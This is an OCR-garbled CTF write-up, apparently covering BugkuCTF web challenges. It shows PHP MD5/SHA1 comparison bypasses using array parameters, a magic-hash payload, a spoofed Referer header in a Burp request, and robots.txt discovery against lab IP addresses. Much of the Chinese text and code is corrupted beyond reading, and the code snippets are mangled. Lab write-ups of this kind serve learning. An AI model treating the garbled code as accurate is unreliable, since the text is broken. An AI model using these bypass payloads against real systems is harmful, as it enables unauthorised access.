color: #000;
}

<fstyler

</head>
<body>
<div alizn="center”>
<p>7 \EFT AR = A RLE, ﬁli"ﬁl:. AT -
| <oBRTHE, EAEMEE T HMAEE, D7 7 |
) <p>ﬁﬂ$‘é:|:*$ ’fE'e!ﬁHE’]REifﬂEdeﬁlttzUEﬁ%%ﬁﬂJo CEATITREEREMLY”
1| <p> “EA, ﬂ%?ﬁt?ﬁuﬁiﬁ’affﬂ‘? " BEMARERE, 2HARBEMMNE -

<p CEEIREE T PEE, WER—<a class="1ink"[href="code. txt | tarzet=" blank >EEFE<Sad.
! <p>T,wu?ﬁn§?&E‘J DA TT T B, %%ﬁ%ﬁﬁ*]xbﬂﬂﬂ“ﬁ%&”% . S k.
{pPe o o o o o
<p> “ﬁa?]f‘ﬁ? T, B ﬁ%ﬁ/\' ”
{p> Lla’r?’f’.l‘afll}iﬂo s e s 0 0 o e
<hDPHPE TR ERIFANES </h2>

<fdive
V< bodyy
1 <Shtml
= ®
i
mx—AAE A

C 0O v Y O FZ2| 123.206.31.85:49162/code.txt

& sDUTSec W& BugkuCTF - 3+ o FIREPRASMLE] & SDUT CTF 20



<Fphp
1f(isset (3 _GET w1 1) && isset(3 GET[ 2’ 1) && isset(3 GET[ +3 1001
vl = $_GET[ w1 1;
w2 = $_GET[ w2 1;
$v3 = $_GET[ w3 1;
1f03vl = $v2 && md5(3vl) == mdS(3w20) {
if( stremp (w3, $flagl) {
echo J$flag;
}

}
T

18 B X ) F4H g2 i Aok
payload vi[]=1&v2[]=2&v3[]=3

< C 0O = Y O 7%2| 123.206.31.8549162/2v1[]=1&v2[]=2&V3[]=3 % 1

e

& sDUTSec Y& BugkuCTF - 3 & Aaldia¥Men & SDUTCTF2018 € GitHub {7 MSDN, #i5iR & Apache Tomcat® CTF
SF 7, MEE—RRENEE, FELE, AT,
HSTHR, EAENSR FIAER: TEE?
TR, EFMENNGFAERHERNZANNE. FAT? EEERS?
"B, BEMARBRRTIE? " ERINAFRS, ESAREERE.....
"EEREEXD. WE, Ak EEE,
TR A AT 7hE, EERERNOAA ST, FEEaRD0k
BRI T A, BEaTER

R RE R, o 0 0 0 0 0 0
PHPER FRIFANES

SKCTF{PHg. ' o )

- =

19.4% IR B >k



bp3Nf, M _Ehtipsk referer:https://www.google.com

E Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn  — (| x

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner I Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options T User options IAIerts 1

[1]2-]3-[ax]]

Go Cancel || < [v || > (v Target: http://123.206.87.240:9009 | # @

Request Response
J RawT Headers I Hex } J RawT Headers T Hex }
GET /from.php HTTR/L.1 " HTTP/1.1l 200 OH s
Host: 123.20£.87.240:5009 P Server: nginx -
referer:htcps://wew. google. com Date: Fri, 15 Febk 2019 1Z:1Z2:13 GMT
User-Agent: Mozilla/5.0 (Windows NT L10.0; Wingd: =&€4:; Content-Type: text/html
rv:65.0) Gecko/Z0L00L0L Firefox/€5.0 Connection: close
Locept: Content-Length: Z1
text/html, application/xhtml4xml, application/xml;q=0.9, 1
mage/ webp, */ *;q=0.8 flag{kom el
Aecept-Languades: -
zh-CHM, zh;q=0.8, sh-TW; q=0.7, zh-HE; q=0.5,en-U3;q=0.3,en:;q
=0.2
Connection: close
Upgrads-Insscure-Fequests: 1

Cache-Control: max-age=0 I

20.md5 collision(NUPT_CTF)

Fl FIMD5 B 3% TR #4 i8 payload a=s878926199a

'3 C O = Yy O F&2| 123.206.87.240:9009/md5.php?a=s878926199a

& sDUTSec W& BugkuCTF - £3F: & mREFBASREE & SDUTCTF2018 ) GitHub {7

flag{mS_ sl - —

21. % Fhgeid



<Sphp
highlight file( flas.php’ );
3 6ETid'] = wldecode($ GET[ id™ 1)

BHGETiHER, WBPOSTEHER
¥ seE, GETEURLEAN . POSTHHackBar

<?php
highlight file( flag.php );
$ GET['id’] = urldecode($ GET[ id ]);
$flag = ~flag{XXXXXXXXXXXXXXXXXX} ;
if (isset($_GET[ uname’]) and
if ($_GET[ uname’' ] ==

print 'passwd can not be
else if (shal($ GET[ uname’]) ===
die("Flag: ’.$flag);
else
print sorry!’;

}
?> Flag: flag{itme = oy 2o}

2
uname.

chal(3 POST[ passwd ]1)&(3 GET[ id ]1==" marsin })

$flag = “flag (X¥ENxyNyENXXEELEEL] |
if (isset(3 GET[ uname’]) and isset($ POST[ passwd 1)) |
if (3 GET[ uname’] == 3 _POST[ passwd ]}
print ‘passwd can not hbe
glse if (shal(3} GET[ uname ]} ===
diel Flag: ’.%flag):
else
print " sorry!
}
T

isset (3 _POST[ passwd 1)) {
$ POST[ passwd 1)

uname.  ;

shal ($§_POST[ passwd 1)&($_GET[ id’]

v O=Esx Defe OFEds (O afess Blcavas ©#a dwE = WS
Encryption + Encoding~ SQL~ XSS~ Other~ Chrome BackBar
& Load URL | http://123.206.87.240:8002/web7/?uname[]=1&id=margin |
yg Split URL

‘ » ) Execute
passwd[]=2

22 .48 >

Postdata [] Referrer [] User Agent

[] Cookies

=="margin’))

8 =i

o Thsis @ HackBar



& 2 C 0 v Yy 0O &2 123.206.87.240:8002/web13/

& sbuTSec W& BugkuCTF - £3F: & EREFEAZMEN & SDUT CTF 2

Something error:
404 Not Found

No such file or directory.

Please check or try_again later.

Generated by kangle/3.5.5.

— B R B R, R T AR E RS R

o {EEYTE) dlEaaE T E Bk By QQ:343034656 - O e
j#4: |http://123.206. 87.240:8002/web13/ | FHEEE 0 fEuEE
#12: 20 o] (& cPulp, « sEfE) [ DIR: 11863 [ AsEX: 822 [ Fjzo0

[ Asp: 1854 [ pHe: 1066 [ &Fals03
ah: (2 BROTEEER) Fws: 419 [ JsP: 631 (] &Emissx
HERR: $HE=A. FHEERE: 0 HEEE : 0%
1D ek HTTPAf G

1 http://123.206. 87. 2408002 fwebl13/robots. txt 200
2 http://123.206. 87. 240: 8002 /webl13/index. php 200

Jj il robots.txt

€ 5 C 0O o« Y O A7==2| 123.206.87.240:8002/web13/robots.txt

& sDUTSec W& BugkuCTF - 3 & mIsEPE AL & SDUTCTF2018 €) G

User-agent: *
Disallow: fresusl.php

HHBR

€ 5 C 0O v Y O FZ=£| 123.206.87.240:3002/web13/resusl.php w b4 ¥

& SDUTSec W BugkuCTF - 37 & mmallAsMELK & SDUTCTF2018 €) GitHub {7 MSDN, EERR Apache Tomcat® - | CTF




EEEEHER T

payload x=admin

« 2 C 0O v % © FF2| 123.206.87.240:8002/webl3/resusl.php?x=admin w 0 4 ¥ i

& SDUTSec W@ BugkuCTF - 3% o mRmEREAZMEI & SDUTCTF2018 €) GitHub {7 MSDN, BEiFm Apache Tomcat® - | | CTF
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